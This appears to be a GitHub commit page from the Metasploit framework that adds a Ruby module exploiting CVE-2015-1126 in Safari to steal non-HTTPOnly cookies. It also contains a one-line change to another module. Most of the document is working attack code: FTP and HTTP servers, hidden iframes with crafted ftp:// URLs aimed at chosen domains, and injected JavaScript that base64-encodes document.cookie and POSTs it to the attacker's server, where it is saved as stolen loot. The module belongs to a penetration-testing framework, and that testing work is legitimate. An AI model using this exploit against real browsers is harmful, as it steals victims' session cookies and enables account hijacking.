Skip to content

Commit 2010e96

Browse files
committed
Add non-httponly cookie theft module for ios/osx safari.
1 parent f0d6735 commit 2010e96

File tree

2 files changed

+268
-1
lines changed

2 files changed

+268
-1
lines changed

modules/auxiliary/gather/android_object_tag_webview_uxss.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -117,7 +117,7 @@ def collect_data(request)
117117
begin
118118
response = JSON.parse(request.body)
119119
rescue JSON::ParserError
120-
print_bad "Invalid JSON request."
120+
print_error "Invalid JSON request."
121121
else
122122
url = response['url']
123123
if response && url
Lines changed: 267 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,267 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'rex/service_manager'
8+
9+
class Metasploit3 < Msf::Auxiliary
10+
11+
include Msf::Exploit::Remote::FtpServer
12+
include Msf::Auxiliary::Report
13+
14+
def initialize(info={})
15+
super(update_info(info,
16+
'Name' => "Apple OSX/iOS/Windows Safari Non-HTTPOnly Cookie Theft",
17+
'Description' => %q{
18+
A vulnerability exists in versions of OSX/iOS/Windows Safari released
19+
before April 8, 2015 that allows the non-HTTPOnly cookies of any
20+
domain to be stolen.
21+
},
22+
'License' => MSF_LICENSE,
23+
'Author' => [
24+
'Jouko Pynnonen', # Initial discovery and disclosure
25+
'joev', # msf module
26+
],
27+
'References' => [
28+
[ 'CVE', '2015-1126' ],
29+
[ 'URL', 'http://seclists.org/fulldisclosure/2015/Apr/30' ]
30+
],
31+
'Actions' => [ [ 'WebServer' ] ],
32+
'PassiveActions' => [ 'WebServer' ],
33+
'DefaultAction' => 'WebServer',
34+
'DisclosureDate' => "Apr 8 2015"
35+
))
36+
37+
register_options([
38+
OptString.new("URIPATH", [false, 'The URI to use for this exploit (default is random)']),
39+
OptPort.new('SRVPORT', [true, "The local port to use for the FTP server", 5555 ]),
40+
OptPort.new('HTTPPORT', [true, "The HTTP server port", 8080]),
41+
OptString.new('TARGET_DOMAINS', [
42+
true,
43+
"The comma-separated list of domains to steal non-HTTPOnly cookies from.",
44+
'apple.com,example.com'
45+
])
46+
], self.class )
47+
end
48+
49+
50+
#
51+
# Start the FTP aand HTTP server
52+
#
53+
def run
54+
start_service
55+
print_status("Local FTP: #{lookup_lhost}:#{datastore['SRVPORT']}")
56+
start_http
57+
end
58+
59+
60+
#
61+
# Handle the HTTP request and return a response. Code borrorwed from:
62+
# msf/core/exploit/http/server.rb
63+
#
64+
def start_http(opts={})
65+
# Ensture all dependencies are present before initializing HTTP
66+
use_zlib
67+
68+
comm = datastore['ListenerComm']
69+
if (comm.to_s == "local")
70+
comm = ::Rex::Socket::Comm::Local
71+
else
72+
comm = nil
73+
end
74+
75+
# Default the server host / port
76+
opts = {
77+
'ServerHost' => datastore['SRVHOST'],
78+
'ServerPort' => datastore['HTTPPORT'],
79+
'Comm' => comm
80+
}.update(opts)
81+
82+
# Start a new HTTP server
83+
@http_service = Rex::ServiceManager.start(
84+
Rex::Proto::Http::Server,
85+
opts['ServerPort'].to_i,
86+
opts['ServerHost'],
87+
datastore['SSL'],
88+
{
89+
'Msf' => framework,
90+
'MsfExploit' => self,
91+
},
92+
opts['Comm'],
93+
datastore['SSLCert']
94+
)
95+
96+
@http_service.server_name = datastore['HTTP::server_name']
97+
98+
# Default the procedure of the URI to on_request_uri if one isn't
99+
# provided.
100+
uopts = {
101+
'Proc' => Proc.new { |cli, req|
102+
on_request_uri(cli, req)
103+
},
104+
'Path' => resource_uri
105+
}.update(opts['Uri'] || {})
106+
107+
proto = (datastore["SSL"] ? "https" : "http")
108+
print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}")
109+
110+
if (opts['ServerHost'] == '0.0.0.0')
111+
print_status(" Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}")
112+
end
113+
114+
# Add path to resource
115+
@service_path = uopts['Path']
116+
@http_service.add_resource(uopts['Path'], uopts)
117+
118+
# As long as we have the http_service object, we will keep the ftp server alive
119+
while @http_service
120+
select(nil, nil, nil, 1)
121+
end
122+
end
123+
124+
#
125+
# Lookup the right address for the client
126+
#
127+
def lookup_lhost(c=nil)
128+
# Get the source address
129+
if datastore['SRVHOST'] == '0.0.0.0'
130+
Rex::Socket.source_address( c || '50.50.50.50')
131+
else
132+
datastore['SRVHOST']
133+
end
134+
end
135+
136+
#
137+
# Handle the FTP RETR request. This is where we transfer our actual malicious payload
138+
#
139+
def on_client_command_retr(c, arg)
140+
conn = establish_data_connection(c)
141+
if not conn
142+
c.put("425 can't build data connection\r\n")
143+
return
144+
end
145+
146+
print_status("Connection for file transfer accepted")
147+
c.put("150 Connection accepted\r\n")
148+
149+
# Send out payload
150+
conn.put(exploit_html)
151+
c.put("226 Transfer complete.\r\n")
152+
conn.close
153+
end
154+
155+
#
156+
# Kill HTTP/FTP (shut them down and clear resources)
157+
#
158+
def cleanup
159+
super
160+
161+
# Kill FTP
162+
stop_service()
163+
164+
# clear my resource, deregister ref, stop/close the HTTP socket
165+
begin
166+
@http_service.remove_resource(datastore['URIPATH'])
167+
@http_service.deref
168+
@http_service.stop
169+
@http_service.close
170+
@http_service = nil
171+
rescue
172+
end
173+
end
174+
175+
176+
#
177+
# Ensures that gzip can be used. If not, an exception is generated. The
178+
# exception is only raised if the DisableGzip advanced option has not been
179+
# set.
180+
#
181+
def use_zlib
182+
if (!Rex::Text.zlib_present? and datastore['HTTP::compression'] == true)
183+
fail_with(Failure::Unknown, "zlib support was not detected, yet the HTTP::compression option was set. Don't do that!")
184+
end
185+
end
186+
187+
188+
#
189+
# Returns the configured (or random, if not configured) URI path
190+
#
191+
def resource_uri
192+
path = datastore['URIPATH'] || Rex::Text.rand_text_alphanumeric(8+rand(8))
193+
path = '/' + path if path !~ /^\//
194+
datastore['URIPATH'] = path
195+
path
196+
end
197+
198+
199+
#
200+
# Handle HTTP requets and responses
201+
#
202+
def on_request_uri(cli, request)
203+
if request.method.downcase == 'post'
204+
json = JSON.parse(request.body)
205+
domain = json['domain']
206+
cookie = Rex::Text.decode_base64(json['p']).to_s
207+
if cookie.length == 0
208+
print_error "#{cli.peerhost}: No cookies found for #{domain}"
209+
else
210+
file = store_loot(
211+
"cookie_#{domain}", "text/plain", cli.peerhost, cookie, 'cookie', "Stolen cookies"
212+
)
213+
print_good "#{cli.peerhost}: Cookies stolen for #{domain} (#{cookie.bytes.length} bytes): "
214+
print_good file
215+
end
216+
send_response(cli, 200, 'OK', '')
217+
else
218+
domains = datastore['TARGET_DOMAINS'].split(',')
219+
iframes = domains.map do |domain|
220+
%Q|<iframe style='position:fixed;top:-99999px;left:-99999px;height:0;width:0;'
221+
src='ftp://user%40#{lookup_lhost}%3A#{datastore['SRVPORT']}%2Findex.html%23@#{domain}/'>
222+
</iframe>|
223+
end
224+
225+
html = <<-HTML
226+
<html>
227+
<body>
228+
#{iframes.join}
229+
</body>
230+
</html>
231+
HTML
232+
233+
send_response(cli, 200, 'OK', html)
234+
end
235+
end
236+
237+
#
238+
# Create an HTTP response and then send it
239+
#
240+
def send_response(cli, code, message='OK', html='')
241+
proto = Rex::Proto::Http::DefaultProtocol
242+
res = Rex::Proto::Http::Response.new(code, message, proto)
243+
res['Content-Type'] = 'text/html'
244+
res.body = html
245+
246+
cli.send_response(res)
247+
end
248+
249+
def exploit_html
250+
<<-HTML
251+
<html><body>
252+
<script>
253+
var p = window.btoa(document.cookie);
254+
var x = new XMLHttpRequest();
255+
x.open('POST', "http://#{lookup_lhost}:#{datastore['HTTPPORT']}#{resource_uri}")
256+
x.setRequestHeader('Content-type', 'text/plain');
257+
x.send(JSON.stringify({p: p, domain: document.domain}));
258+
</script>
259+
</body></html>
260+
HTML
261+
end
262+
263+
def grab_key
264+
@grab_key ||= Rex::Text.rand_text_alphanumeric(8)
265+
end
266+
267+
end

0 commit comments

Comments
 (0)